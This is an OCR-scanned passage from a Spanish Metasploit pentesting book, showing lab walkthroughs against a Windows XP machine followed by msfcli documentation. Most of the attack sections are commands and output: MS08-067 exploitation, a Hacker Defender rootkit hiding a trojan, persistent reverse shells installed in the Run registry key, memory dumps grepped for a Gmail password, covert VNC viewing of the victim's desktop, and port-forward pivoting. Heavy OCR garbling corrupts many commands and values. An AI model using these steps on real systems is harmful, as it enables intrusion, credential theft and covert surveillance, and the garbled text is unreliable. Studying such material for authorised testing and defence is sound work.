[*] uploaded : jroot/hxdef/hxdef108.exe
weterpreter > upload /root/hxdef/hxdef1ee,
{*] uploading : /root/hxdef/hxdef108.ini

[*1 uploaded : /root/hxdef/hxdef188.ini

Process 1994 created.
neferpreter >

exe ¢:\\windows\\systemaz\\

-» c:\windows\system32\

-> C:\windows\system32\\hxdef108.exe
ini c:\\windows\\system32\y

-> C:i\windows\system32\

-> c:\windows\system32\\hxdef166,ini

meterpreter » execute -f c:\\windows\\system32\\flu.exe -

F@4Jh&MMdmmMmmaMmMMMVMWmMyQWmMnMUWMQ
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“Tras la ejecucion def troyano en la maquina vulnerada, se puede visualizar en el administrador de,

tareas de la misma como el proceso aparece en el listado de estos que proporciona el sistema, 1}
defeccion del troyano podria ser facil para el ojo humano, en este caso.

carss.exe SYSTEM 00 1.224KB
dfsrs,exe SYSTEM [uli] 3.250KB
tifsave.exe » BYSTEM 00 1836 ¥R
dns. exe SYSTEM 00 82.104%B
dwm. exs Adminigt,., 00 1O KB
explorer.exe Admirist,,, 00 19.028 KB
flu,exe Admirist.., 00 9.680 K8

Fig 4.72: Listado de procesos en Ja miquina vulnerada tras I ejecucion def troyano.

Para ello se ejecuta el roofkit, pero antes se debe configurar su fichero INL Este fichero de{
configuracién dispone de varios apartados o secciones en los que, por ejemplo se especifican log
procesos que deben ser oculiados por el rootkif. Se permite ef use de metacaracteres, por ejemplo, si4
s¢ quiere ocultar todo proceso que empiece por flu, se puede indicar en el apartado hidden table delf
fickero la palabra fla*. En la imagen se muestra un ejemplo de parte del fichero de configuracion,
del roothit. "

[Hidden Table}
hxdef*

remd, exe

flu*

. hxdef*

[Root Processes)
hxdef+
remd. exe

[Hidden Services}
HackerDefenders

[Hidden Regkeys]
tlackerdefender1es
LEGACY_HACKERDEFENDER106
HackerDefender0Orvigg
LEGACY_HACKERDEFENDERDRV1SE

[Hidden Ragvalues]

[startup Run)

Fig 4.73: Configuracion de Hacker Defender:

Tras la ejecucion del roofkit, se ocultan distintas opciones como es €l proceso del troya
administrador de tareas, entradas del registro del troyano, archivos en el explqrad
activas del troyano, etcélera. Es realmente potente la utilizacion de un rootkl{ P

acciones del malware.
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La maquina vulnerada ha quedado infectada por el troyano y ademads, el rourkir, oculta las acciones
maliciosas que éste realiza y su presencia. El roofkit, l0gicamente, también puede ocultarse a st
mismo, para dificultar su presencia y acciones.

A continuacion se muestra el panel del troyano, donde se pueden visualizar las maquinas infectadas
y ¢l estado de éstas.

] Last.
Status 7 - Y
t“QS. cnnnpchon“ :onnn

~ 201 09108

Fig 4.74: Panel de administracion del troyano para manipular la maquina vulnerada,

En este punto el atacante tiene el control de la miquina vulnerada permanentemente. Bste troyano
puede realizar un gran nimero de acciones sobre la maquina vulnerada, por ejemplo, capturas
de pantalla, captura de las pulsaciones de teclado remoto, utilizacion de las lineas de comandos
disponibles en la maquina infectada, por ejemplo un cmd o una PowerShell. En la imagen se
puede visualizar como se recupera el contenido de un fichero denominado secret.txt de la maquina
vulnerada.

Fig 4.75: Recuperacion de un fichero a través del troyano.
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PoC: Explotado e infectado

Esta breve prueba de concepto ayuda a entender la imporlancia que tienen las opciones avanzadas
de los médulos de exploits en el instante de realizar la explotacion. El escenaric es sencillo, se v
proceder a {a explotacion de un sistenia operativo, del cual no se conoce si el usuario puede apagar
el equipo en cualquier momento, si es posible que se caiga la conexidn, o si, puede que sin mas se
necesite realizar la explotacion, infectar dicho equipo y finalizar la sesion. Todas estas acciones cale
la posibilidad de que sucedan en un rango de tiempo de pocos o muy pocos segundos.

da

En primer lugar se procedera a la automalizacién de un scripf RC para que. cuando se realice Iy
explotacién se ejecute dicho eript. Bl script contiene ordenes para infectar con un agente y de egie
modo conseguit la persistencia inmediatamente. Ademds, la ultima orden es exif para (inaliza |y
sesion de Meterpreter.

Otra posibilidad es utilizar el comando update pasa subir el ejecutable de un troyano y ejecutar|q
mediante execile, todo eslo desde un fichero de automatizacion. Se podria,afiadir un rootkis para
ccultar dichq troyano. Otra opcitn interesante, es la posibilidad de utilizar érdenes para derriby,
sistemas de proteccion que pudiera haber en la maquina vulnerada antes de proceder a la subida de
este tipo de ;malwareA Todas fastas instrucciones se podrian escribir en un scripf y automatizar dicho
proceso.

msf exploit{msd8_687_netapl) > set AutoRunScript multi_console_command -rc /roat/iniciaifﬁ?é}}ﬁf
an.re

AutoRunScript => multi_console _command -rc /root/inicialInfeccion.rc

msf exploit{ms0d_067_petapi) > exploit

{*} Started reverse handler on 192.168.1.408:4444

[*] Automatically detecting the target...’

{*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*1 Selected Target: Windows XP SP3 Spanish {NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.35

{*] Meterpreter session 20 opened (192.168.1.48:4444 -> 182,168.1.35:1037) at 2012-63-31 21:45;1
4 10200 ;

meterpre

{*] Session ID 20 {192.168.1.40:4444 -> 192.168.1.35:1037) processing AutoRunScrlpt ‘multi consg
le_cemmand -rc /root/inicialInfeccion.rc’

{*] Running Command List ...

{*] Running command run persistence -U -X -P windows/shell/reverse tcp -1 68 -p 4444 -r 199,
168.1.40

{#} Running Persistance Script

{*] Resource file for cleanup created at /root/.msf4/logs/persistence/PRUEBAS-01766CC_2012083) 4
515/PRUEBAS-81760CC_208120831.4515.r¢ ’

{*} Creating Payload-windows/shell/reverse_tcp LHOST=192.168.1,.48 LPORT=4444

{*] Persistent agent script is 611830 bytes long !

14} Persistent Script written to C:\WINDOWS\TEMP\WraaGFn.vbs

[t] Executing script C:\WINDOWS\TEMP\WraaGFn.vbs

[t} Agent executed with PID 360

{#] Installing into auterun as HKLM\Software\Mlcrosoft\wlndows\CurrentVer51on\Run\yNrgrthJRPHOQ
C
.

Installed into autorun as HKLM\Software\M1crosoft\Windows\CurrentVer510n\Run\yNrgrthJRpHOQC

Fig 4.76: Autogjecucion de un fichero RC provecando wnfeccion con persistence.
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ELseript utiltizado dispone del siguiente codigo:

run persistence -U -X -P wi.ndows/shell/reverse_tcp -1 60 -p 4444
-1 i92.168.1.40 '

axil

l.a linea de run finaliza con la direccidn 1P, todo en ta misma linea, sino no funcionarfa. Como se
pucde suponer la imaginacién de cada usuario puede ir més all4 y conseguir realizar gran cantidad
de ucciones de manera automdtica.

Se ha configurado la ejecucién de persistence con un payload de tipo no Meterpreter. Ya se ha
realizado anteriormente una actualizacién de un payload aun Meterpreter, por lo que simplemente
se puede dejar una shell y si se requiere mayor funcionalidad, en cualquier momento s puede
actualizar a Meterpreler.

I

Como se ha mencionado en este libro, en algunas ocasiones es mejor utilizar un payload concreto
que aporte una funcionaltidad sin necesidad de disponer de todo un servidor de funcionalidades.
Esto depende de lo que se quiera demostrar y de lo que se desee obtener, aunque cemo se ve en este
ciemplo se puede provocar la actualizacion a un Meterpreter. Es recomendable pensar qué payload
utilizar en cada momento en funcién de las necesidades. :

A continuacion, se va a comprobar como configurando el médulo exploit/imulti/handler se puede
recibir la sesion del agente de persistence que se ha instalado en e) equipo. La tinica diferencia con
lo que se ha ido configurando en el libro la mayoria de las veces es la utilizacion de un paylead de
lipo shell.

st exploit(ms6s_B67_netapi) > use exploit/multi/handler
imsf  exploit(handler) > set PAYLOAD windows/shell!reverseatcp
IPAYLOAD => windows/shell/reverse tcp

st exploit(handler) » set LHOST 192.168.1.48

LHOST == 192.168.1.46 ’

msf exploit{handler) > set LPORT 4444

LPORT => 4444

st exploit(handler) > exploit

[*{ Started reverse handler on 192.168.1.46:4444

L=} Starting the payload handler...

{+] Sending stage (240 bytes) to 192.168.1.35

[#] Command shell session 21 opened {192.168.).46:4444 -> 192.168.1.35:1055) at 2012-08-31 21:57
141 +0260

Microsoft Windows Xp [versi6n 5.1.2600]
(C) copyright 1985-2081 Hicrosoft Corp.

C:\WINDOWS\system32>f

Fig 4.77: Obtencion de una shel mediante persistence.

Por tltimo, se provoca la actualizacién del payload a un Meterpreter, mediante la subida de un
stager., .
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#1 Command shell sessinn 21 opened (192.168.1.48:4444 -» 192.168.1.35:1055} at 2612-08-31 71:57
141 +0200

Microsoft Windows XP [Versifn 5.1.2600]
{C) Copyright 1985-200% Microsoft Corp.

C:\WINDGWS\system32»~Z
#ackground session 217 [y/H] y

msf exploit{handler} > sessions -u 21

[*] Started reverse handler on 192.168.1.40:4444

{*] Starting the payload handler...

+) Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done {3398/102168 bytes)
{*] Cemmand Stager progress - 4.99% done (5607/102168 bytes)
{*] Command Stager progress - 6.66% done (67967162108 bytes)
[*] Command Stager wrogress - 8,32% done (8495/162168 bytes}
[*] Command Stager progress - 9.98% done (19194/162188 bytes)
1*] Command Stager progress - 11.65% done (11893/102108 bytes)

Fig 4.78: Actualizacion de shell a Meterpreter,

—

PoC: Volcado de memoria remota y andlisis
En esta prueba de concepto se busca lograr la informacién volatil de la maquina vulnerada, es decir,

* {a informacion que se perdera cuando la maquina remota se apague. Para obtener informacion sobre

fa memoiia RAM de la maquina vuinerada se dispone en Meterpreter de un script, denominado

‘process_memdump, capaz de hacer volcados de memoria de procesos. También se podrian utilizar

herramientas como Win32dd, la cual deberfa ser subida a la méquina de la victima, para realizar
volcados o dumpeos e memoria completos. :

En este caso se realizard un volcado de memoria del proceso Firefoxy se procederd a la busqueda de
credenciales almacenadas u otros datos de interés para el atacante. En el ejemplo se mostrard como
las credenciales quedan almacenadas en texio plano por el proceso del navegador, aunque el sitio
web donde fueran introducidas dispusiera de capa de seguridad, que en este caso se corresponde con
ta seguridad de Gmoil,

Bl script process_memdump dispone de varios pardmetros, de los cuales se detallan a continuacion
los més interesanies:
- El pardmetro —n especifica el nombre del proceso del que se realizaid el volcado de
memoria.
- El pardmetro —p especifica el PID del proceso del que se quiere realizar el volcado de
memoria. '

- Bl pardmetro ~r especifica ¢! fichero de texto de donde se recogerén Jos PID de los
procesos de los que se quiere realizar el volcado de memoria. Se debe especificar un PID por
cada linea del fichero de texto,
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@g;grg[eter > run process_memdump -h

ESAGE:
EXAMPLE: run process_dump pulty.exe
EXAMPLE: run process_dump -p 1234

PTIONS :
-b Help menu.

-n <opt> Name of process to dump. -
-p <opt> PID of process to dump.

-q Query the size of the Process that would be dump in byres.
-r <opt> Texi file wih list of process names to dump memory for, one per line.
-t toggle location information in duwmp.

hetergrgggg > run process_memdump -p 1348
[+] Dumping memory for firefox.exe

{+] Dumping Memory of firefox.exe with PID: 1348
[+] base size = 64

1*] base size = 128

(*] base size = 1132

Fig 4.79: Obtencion de fa memoria del proceso de Firefox en una indguina vilnerada.

Tras ejecutar el script se procede a la descarga a xlomalxca del volcado de la memoria del proceso.
Este archivo se almacena en la ruta $HOME/. msf4/logs/s crtpls/proc memdump/<fichero DMP>. S
puede observar que al ejecutar el comando de Linux car se puede visualizar ef conlenido del ar chwo,
la mayoria es binario, pero se puede observar como existen cadenas de texto legibles. Mediante el
uso del comando strings se va a filtrar todo el contenido no legible, es decir, lodo lo que no sean
caracleres de texto se despreciard. Por Gltimo utilizando el comando grep se filtrard la salida de
strings para localizar las palabras clave que se quieren obtener.

Por ejemplo, se va a proceder a realizar la basqueda de credenciales en el proceso de Firefox del que
se ha realizado el volcado. Al ejecular la instruccion cat <fichero DMP> | strings | grep Passwd,,

se obtiene informacién nuy interesante como es la credencial con fa que, segin la direccion, se ha
logueado en el webmail de Gmail.

root@ht:~/ . msfdslogssscripts/proc_nemdump# cat 192.16R.1.35 firefox.exe 1348 26120908.6319.dmp |
strings | grep Passwd
outube%3A679%3Al&checkeanoma1nszyoutube&tlmeStmp—&secT0k=&Emall=pab10%4911u&Pa5&wd-123abc &signl
=Iniciar+sesi%C3%B3n&rmShown=1
2l {"Passud"};
var passwd_elem = el("Passwd™);
} else if {f.Passwd} {
{.Passwd. focus{);
} else if (f.pPasswd} {
f.Fasswd. focus(};
id="Pagswd"
continue=h{tp%3A%2F%2Fmail .google. comk2Fmail%2F&sarvice=mailbrm=false&dsh=386604490811873281361t
mpl=defaul t&scc=18GALX=T3AZeCaWLkaps tMsg=1&dnConn=6checkConnection=youtube%3A679%3A1&checkedbom
ains=youtube&timeStnp=hsecTok=6Email=pablo%4eflu&Passwd=123abc. &signIn=Iniciar+5esi%(3%B3n&rashs

Fig 4.80: Oblencién de credenciales del proceso de Firefox.

Por ditimo se presenta la posibitidad de realizar un volcado completo de la memoria RAM y un
analisis de ésta mediante el framework de Volatility, el cual puede ser descargado desde la URL
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htips./hwwwvolatilesystems.com/defauli/volatility. Para realizar el volcado de ia memoria RAM se
pueden utilizar una serie de aplicaciones, como MDD o Win32dd.

En primer lugar, se sube a fa maquina vulnerada la herramienta Win32dd, por ejemplo en la rula
e:\. Para reakizar el volcado de la memoria RAM de la maquina vulnerada se ejecuta lu instruecion
win3Zdd.exe /v /f <fichero> /u. Bl parfmetro /r indica que serd un voleado de lipo waw, /{ ¢l fichero
donde se almacenard y /a que se aceptaran todas las preguntas que realice la aplicacidn.

o ewinszdd exe jr /T c:\volcado.bin /&
win32dd.exe /v /f ci\velcado.bin /a

win32dd - 1.3.1.20380417 - (Community Edition) -

cernel land physical memery acquisition

Copyrighl \C) 2007 - 2010, Matthieu Suiche <http://wew.msuiche.net>
Copyright {£) 2089 - 2818, MoonSols <http://www.moonsols.com>

Name value

File type: Raw memory dump file

Acguisition method: PFN Mapping

Content:: Memory manager physical memory block

Destination path: c:\volcade.bin .
0.5. Version: Microsoft Windows XP Professional Service Pack 3 (build 2668)
Computer name: PRUEBAS-81768CC

Physical memory in use: 81%

Physical memory size: 196086 Kb ( 191 1)

Physical memory available: 36176 Kb ( 35 Mb)

Paging file size: 967776 Kb { 945 Hb)

Fig 4.81: Realizacion de! volcado de la memoria RAM de manera remota.

Una vez que se realiza el volcado de la RAM, se debe descargar la imagen manualmente, a través
de la ejecucion del comando download de Meterpreter. Egste proceso puede llevar bastante tiempo,

ya que dependeré del tamafio de la memoria RAM de la maquina vulnerada. En este ejemplo, la
memoria RAM del equipo remoto es de 192 MB.

meierpreter > download c:\\volcado.bin /root

1*} downloading: c:\volcado.bin -> /root/velcads.bia
t*] downloaded : c:\volcado.bin -> /root/velcado.bin
meierpreter >

Fig 4.82 Descarga del volcado completo de la memoria RAM de la mAquina vuincrada.

£n este momento hay que utilizar el framework de Volatility para sacar la mixima informacion de la
méquina vulnerada. Este framework permite realizar gran cantidad de opciones sobre imAgenes de
volcado de memoria RAM, serfa necesario dedicar tiempo a su estudio y aprovechamiento. Pero ¢l
objetivo de la prueba de concepto es ilustrar algunas de las posibilidades que Volatifity proporciona.

Para ejecutar la ayuda de Volatility se debe ejecutar python vol.py —h, dicho archivo estard situado
en el directorio donde se encuentren los archivos Python del framework Voladiliry. Si se quieren
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consultar las conexiones activas en el momento de realizar el volcado de Ia memoria RAM se debe
ejecutar la siguiente ingtruccién python vol.py connections —f <fichero BIN>.

root@ht:-/volatility-2.1# python vol.py connections -f /root/valcade.bin
Volatile Systems Volatility Framework 2.1

Offset{V}) Local Address Remote Address pid
0x88d508e0 127.9.0.1:1046 127.6.0.1:1045 432
Ox8Od6fced 127.0.0,1:1045 127.0.0.1:1046 : 432
0x80e23d10 127.0.6.1:1648 127.8.9.1:10847 432
0x80e57468 177.6.0.1:1847 127.6.6.1:1048 432
Ox80ehadel 192.168.1.35:1154 74.125.230.203:89 432
OxBEeBClfY 192.168.1.35:1150 74.125.236,203:80 437
0xB0e6IBO8 192,168.1.35:1142 74.125.230.203:50 432
Ox802769e8 192.166.1.35:1114 74.125.239.203:88 437
0x80e77508 192.168,1.35:1116 74.125.239.293:58 432
OxBBe70%e8 192.168.1,35:1134 173.184.66.121:86 432
OxBbecblfs 192,168.1.35:1876 173.194.67.191:80 437

Fig 4.83. Recuperacion de conexiones activas del fichero del volcado de 1a RAM remota.

Para visualizar los archivos abiertos por los procesos que se encontraban en ejecucidn en el momento
dei voleado de la memoria RAM remota se debe ejecutar la instruccion python vol py files —f <fichero
BIN>. Otra instruccién interesante es la recuperacion del listado de procesos cn't“.‘jeCl:cAién. en ese
momento python vol.py pslis —f <fichero BIN>.

roul@ht: -/volatility-2 1% python vol.py pslist -T /rootjvalcado.bin

Valatile Systems Volatility Framework 2.1 .

o fecar -

uE,git(V) Name PID  PPID Thds Hnds  Sess  Wowbd Start
xi

0x86T1d820 Sysiem . . 4 2] 54 . 445 - ons a

Oxffhaddas smss.exe 424 4 3 19 <venn 0 2042-69-07 23:32:07
0xTfhc36ed csrss,exe : 644 424 11 45% ] 0 2612-99-87 23:32:07
0x80d63c08 winlogon. exe 668 424 13 479 [ 8 2017-R3-07 23:32:67 |

Fig 4.84: Recuperacion del listado de procesos del fichero del voleado de la RAM remota,

Las posibilidades que ofrece Volarility parael andlisis forense son ilimitadas, por fo aue se recomienda
. . 'y . N !

st estudio y la realizacién de prucbas para comprender y entender todo lo que esic framework es

capaz de proporcionar al usuario. : Co

1 PN e

PoC’: VNC Payload

I'n esla prueba de concepto se presenta la utilizacién de un payload wn tante peculiar, Con este
payload se podra visualizar el escritorio remoto de la victima. Hay varias maneras de utilizar VNC

en Metasploit, el objetivo es poder visnalizar el escritorio de la victima, sin que ella detecte tal
circunstancia.

El primer caso que se estudiard es el del payload vncinject. Bl payload cargado debe ser windows/
viicinject/reverse_icp, conexion inversa por ejemplo. Este payload inyecla un servidor VNC en la
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memoria de la méquina vulnerada, el exploif conecta autométicamente con éste y se obtiene la visién
del escritorio de fa victima.

msf exploit(msts 067 netapl) > exploit

[+} Started reverse handler on 192.168.1.40:4444
1*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
+] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigyer the vulnerability...
[*] Sgnding stage (445448 bytes) to 192.168.1.35
f¥] starting local TCP relay on 127.0.9.1:5968...
[*] Local TCP relay started.
[*1 Launched vncviewer.
{*] Session 1 created in the background.
nsf exploitims68_U67_netapl) > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
puthentication successful
besktep name “pruebas-N1768cc”
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixet.
Truﬁ colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 8
Maraing: Cannot convert string °-*-helvetica-bold-r-*-#-16-%-v-*.%.5.x.%" {9 type FontStruct
Using default colermap which is Truefolor. Pixel format:
32 hits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blua 255, shift red 16 green 8 blue B
Same machine: preferring raw encoding

) Fig +.85: Explotacion con inyeccién de windows/weinject/reverse_tep.

§ \

Hay que tener cuidailo con este payload ya que realiza la apertura de una emd en la maquina
vilnerada. Esta situacion es extrafia para el usuario victima, ef cual se puede alerfar de la presencia
dlel atacante al visualizar dicho evento. :

Emetergreter > run ync

[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.40 LPORT=4545)

{*] Ruaning paylead handler

{[#] UNC stager executable 73802 bytes lung

{*] Uploaded the VNC agent to C:\WINDOWS\TEMP\TNpWqQZiiVTcz.exe {must be deleted manually}
[*] Executing the YNC agent with endpoint 192.168.1.48:4545,,.

meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions

o authentication needed

Authentication successful

besktop name "pruehas-01768cc"

VNC server default format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 qreen 8 blue @

Fig 4.86: Obicncion de la vision de un escritorio remoto con VNC en la sesion de fa victima,

Otra opcidn posible es la utilizacion del script de Meterpreter vne. Con.QSFC‘_'SC'"l'}Jt se ejecuta un
agente con el que se puede realizar la conexién, y obtener la vision del escritorio de 1a victima, Hay
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que tener cuidado con la posibilidad de no mover el ratén al usuario, ya que podria darse cuenia.
Se recomienda, simplemente visualizar las acciones de éste, a la vez, que por ejemplo, se utiliza un
keylogger para capturar credenciales no visibles.

PoC: Port forwarding

En esta prueba de concepto se presenta el concepto de port forwarding cou ef que un alacante podrd

utilizar una maquina vulnerada como cebo o-méquina que realizara las peliciones por &, En otras

palabras, se propone el siguienle escenario:
- Elalacante utiliza un sistema operativo con Metasplois, por ejempto BackTrack 5.
- La maquina vulnerada con un sislema operativo, por cjemplo, Hindows XP.

- Lamdquina objetive. En esta maquina se quiere oblener aceeso o reatizar un ataque. Esla
méquina recibird las peticiones como si viniesen LL, la maquina vulnerada, en vez de provenir
del alacante.

Para realizar esta (échica se utxhza el comando portfwd, el cual dispone de varios pardmetros
interesantes:

- El pardmetro —-L indica el host local donde comenzara la redireccion de paquetes. Este
pardmetro es opcional, por defecto se configura con la direccion IP de la maquina vulnerada.

- Bl parametro —r indica el host remoto al que se reenviardn los paquetes, es la direccién IP
de la miquina objetivo.

- Bl pardmetro -1 indica el puerto local dénde se recibirdn las conexiones. Este puerlo
pertenece a fa maquina vulnerada.

- Bl parametro —p indica el puerto de la maquina remola, es decir la especificada en el
pardmetro —t, a la que se realizaran los reenvios.

“A continuacion se presenta un sencillo ejemplo donde las peticiones que el atacante quiere realizara
una maquina objetivo, se realizan a través de una méaquina vulnerada. La maquina objetivo recibird
las peticiones como si realmente fueran originadas por la méquina vuinerada.

El escenario arranca con una sesion de Mererpreter dei atacante sobre la maquina vulnerada. La
configuracion del comando porifwd es sencilla tal y como se puede visualizar en la imagen de la
pagina siguiente.

Tras la ejecucidn del comando, la méaquina atacante enviard el trafico a su interfaz local donde tienc
un fisfener en un puerto concreto encargado de redirigir el trifico a Meferpreter en la maquina
vulnerada. Esta maquina vulnerada recibe la peticion y la reenvia hacia la méquina objetivo. La
configuracién del comando es sencilla y para poder visualizar las 6rdenes creadas en portfind se
puede ejecutar sdlo el comando para obtener el listado.
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Psage: porttud [-N] [add | delete | UIst | Flush] (args]

RPTIONS:

-L <opt> The local host to listen on {optional).
-h Help banner.

-1 <opt> The local port to listen on.

-p <cpt> The remote port to connect to, *

-1 <opt> The remote host 16 comnect to.

-ipeterpreter- » portfwd add -1 2880 -p B9 -r 192.168.8.63

{*1 Local TCP relay created: 8.0.0.6:9080 <-> 192,168.8.563:86
gm;_rgn:ter > background :

f<] Backgrounding session 1...

asf  exploii(ms@8 867 _netapi) > ifconfig | grep inet

| *1 axec: ifconfig | grep inet

inet addr:192.168.6.61 Bcast;192, 158 8,255 Mask 255.255.255.8
Vig 4.87: Redireccion de paqueles a través (lelcmmndo por !jn('

Ahora, el atacante abre el navegador web y escribe la diveccion htp://127.0.0.1:9000, Por yué ¢l
puerto 90007 Es donde se ha configurado el Tisfener en la configuracion de portfivel. La tespuesta
que se obtiene es “ff Works”, que es el fichero por defécto de un servidor Apache.

1t worksl

This is the default web page for this server.

‘The web server software is running but no content has been added, yst.

Fig 4.88: Peticion /ip a través de una méaquina vulnerada.

¢Realmente es la mdquina vulnerada quién realiza la peticion encubriendo a la maquina del atacante?
La respuesta es si, en la maquina del objetivo se abre la aplicacion Wireshark para visualizar el
trafico que llega por su interfaz de red. Las maquinas del escenario tienen las siguientes direcciones
1P

- La miquina del atacante tiene fa direcciéﬁ IP 192.168.0.61.

La méquina vulnerada tiene la direccion [P 192.168.0.62.

- La miquina objetivo tiege la direccidn 1P 192.168.0.63.

En la imagen siguiente se puede visualizar como la peticion HTTP llega a través de Ia maquina con
direccion 1P 192.168.0.62, que es la vulnerada, Esta técnica puede dar lugar a otro gran nimero de
posibilidades. '
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|} Frame 141 %29 bytes ‘on ;
|+1 Ethernet. II, 'Sre:’ CadnusCo: b7if
[} Internet Protocol Vérsion'4
I+ Transmission Cortrol:Prot

L et
Hos L6.8.1:9008\r\n
Usar-agent: Hozilla/5.8 (X11; Linux 1686 on xB6 64; rv:2.0.1) Gecko/26160161 Firefox/4
Accept: text/himl,application/xhtmlexml, application/xml; q=0.8,%/%;9=0.8\1\n

Vig 4.89: Captura de Wireshark donde se visualiza el origen de fa peticion,

Hlay que tener en cuenta, como se puede visualizar en la imagen, que el User-Agenr puede delatar a
la maquina origen, por lo que puede ser interesante cambiar dicha informacién.

Capliulo ¥. Otras msf tools

Capitulo V
Otras msf tools

1. msf toois

En multitud de ocasiones se ha comentado que Metasploit es un framework o conjunto de
herramientas que proporcionan distintas funcionalidades al auditor. En este capitulo se pueden
estudiar y realizar pruebas con las mds utilizadas o reconocidas a nivel mundial en el dmbito de la
inirusion o pentesting. Como curiosidad indicar que todas las herramientas comienzan por las siglas
msf ( Metasploil framewcrk) seguidas de un nombre indicativo de la accion que realizan,

A menudo muchos de Jos pentesters o anditores de seguridad se pueden encontrar con cambios en las
herramientas disponibles en el framework de Metasploii. Este hecho es debido a que se desarrollan
nuevas versiones o nucvas aplicaciones que pasan a formar parte del framework. Es sencilio
encontrarse que en nuevas versiones de Metasploif aparezcan nuevas aplicaciones gue proporcionan
novedosas funcionalidades o, incluso, optimizan funciones existentes de varias herramientas, como
por ejemplo msfvenom, ia cual fusiona la funcionalidad de msfpayload'y de msfencode. '

fin antericres capitulos se han estudiado herramientas que proporcionan y facilitan el uso del

Sremework, ya sea mediante el uso de vna linea de comandos, msfconsole, o mediante el uso de

wita interfaz grdfica, por ejemplo armitage. Pero, como se ha mencionado, existen otro tipo de
herramientas con otras funcionalidades, cemo por ejemplo la creacién de ejecutables que alberguen ,
en su interior codigo ejecutable o shellcode con fines maliciosos. Por otro lade, también se puede
ayndar a los exploiters a obtener payleads sin necesidad de crearlos ellos mismos.

Otro tipo de aplicaciones muy utilizado son fas que ayudan a evadir los sistemas de defensa de
una miquina, como por cjemplo los activirus. La mayoria de los payloads que son utilizados por
Metasploil pueden ser detectados por una gran parte de los antivirus, por ello es necesario utilizar
herramientas que ofusquen el cédigo del payload para evitar su deteccion.

Existen herramientas en el framework cuya finalidad es la manipulacién de la memoria y analisis de
ésta. Este tipo de herramientas ayudan al exploiter a encontrar instrucciones en lenguaje ensamblador
clave para el desarrollo del exploir.

La gestion remota también se encuentra disponible en Metasploit gracias a herramientas como msfd,
ia cual proporciona un servicio o daemon con el que se puede manipular el framework remotamente.
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Por tiltimo mencionar que Metasploit sigue creciendo y aumentando en funcionalidades ¢ integracion
con otros sistemas y aplicaciones de seguridad. Este hecho hace que el framework disponga de una
riqueza implicita realmente interesante para su utilizacién en el dia a dia del auditor. Las msf tools
siguen apareciendo y afiadiéndose al framework lo que proporciona un hecho muy mlenesanle como
se menciond anteriormente.

root@root: /pentest/exploits/ frameworkas 1s

armitage HACKING msfconsole msfgui msfpescan plugins tosls
jata 1ib msfd msTmachscan msfrpc . README
documentation modules msfelfscan msfopcede msfrped scripls
xternal msfcli  msfencode msfpayload msfupdate test
ront@root: /pentestsexploits/Trameworkis

Fig 5.01: Msf tools disponibles en BackTrack 5.

2. Misfcli: El poder de la linea

Esta herramienta es una de las cuatro opciones que dispone la arquitectura de Metasploit para
interactuar con el framework. Es decir, es una de las cuatro interfaces que existen para ejecutar
instrucciones y realizar distintas fases de un test de intrusiou.

Esta aplicacion permite ejecutar modulos de tipo exploit o ausiliary directamente desde una linea de
comandos. De este modo, se evila tener que cargar todas las estructuras necesarias cuando se ejecula
la aplicacion msfconsole. Se puede entender como que cuando se arranca msfconsole se cargan en
memoria las estructuras necesarias para el correcto funcionamiento de Metasploit, mientras que
arrancando msfeli se carga solamente un mddulo por lo que se ejecutara la accién de manera mas
rapida. V

Hay que tener en cuenta que en el momento de lanzar un médulo con msfeli se deben indicar todas
las opciones necesarias para la correcta ejecucion del médulo. Por ejemplo, si se va a proceder a
tanzar un exploit con esta herramienta se deberd indicar, generalmente, ¢i equipo remoto sobre cl
que se lanzard dicho exploit o la direccion IP sobre la que se implementa cl servidor para los alaques
de tipo Client-Side Attack. Se debe indicar qué tipo de payloads se utilizan si es un médulo de tipo
exploit.

Lasintaxis de la herramienta es msfeli <ruta médulo> [PAYLOAD=<ruta payload> LHOST/RHOST
LPORT/RPORT] <modo>. Los distintos modos proporcionan gran flexibitidad a la herramienta ya
que indican qué accidn se realizard.

Hay que tener en cuenta que cuando se utiliza la herramienta msfcli todos los pardmetros son
asignados mediante el uso del operador “=". En msfconsole se indica el parametro y a continuacién
se asigna el valor. Ademds, msfcli es case sensitive, detalle que hay que tener en cuenta para cl
cotrecto funcionamiento de la aplicacion.
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Modos de msfeli

Los modos de ejecucion de msfcli indican qué accidn realizard la aplicacion. En [a imagen se observan
los digtintos modos de ejecucion que dispone la herramienta. Hay que considerar que las opciones
son equivalentes a los parametros o variables, como por ejemplo RHOST, LHOST, etcétera.

Usage: /opt/Tramework3/msf3/msfeli <exploit name> <option=vatue= [mode]
lode ' Description
{Hlelp You're looking at it baby!
(S)ummary show information about this medule
(d)ptions show available options for this module )
{A}dvanced Show available advanced options for this module
(1)0S Evasion Show available ids evasion options for this module
{P)ayloads Show available payloads for tiis module
{T)argets show available targets for this exploit wodule

- {AC)tions show available actions for this auxiliary module

T (Ciheck Run the check routine of the selected module

{E}xecute Execute the selected module

Fig 5.02: Modos de ejecucion de msfeli.

El primero de los modos que se presenta es uno de los méas importanies y es €l modo H. Este modo
ploporubna ayuda e informacién sobre la aplicacién. Si se ejecuta fa siguiente instruccion msfcli
<exploit> H, se obtiene ayuda sobre la aplicacién msfcli.

root@root: /pentest/exploits/Franevorkd# msfcli explolt/multl/handler 5
[*] Please wait while we load the module tree. :

Name: Generic Payload Handler
Module: exploit/multi/handter
Version: 11845
platform: Windows, Linux, Selaris, Unix, 0SX, BSD, PHP, Java
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual

Provided by:
hdm <hdm@metasploit.com»

hvailable targets:
Id Name

8 Wildcard Target

Payload information:
Space: 18600688
Avoid: € characters

pescription:
This module is a stub that provides aLl of the features of the
Metasploit payload system to exploits that have been launched
outside of the framework.

Fig 5.03: Ejecucion msfcli en modo summary.
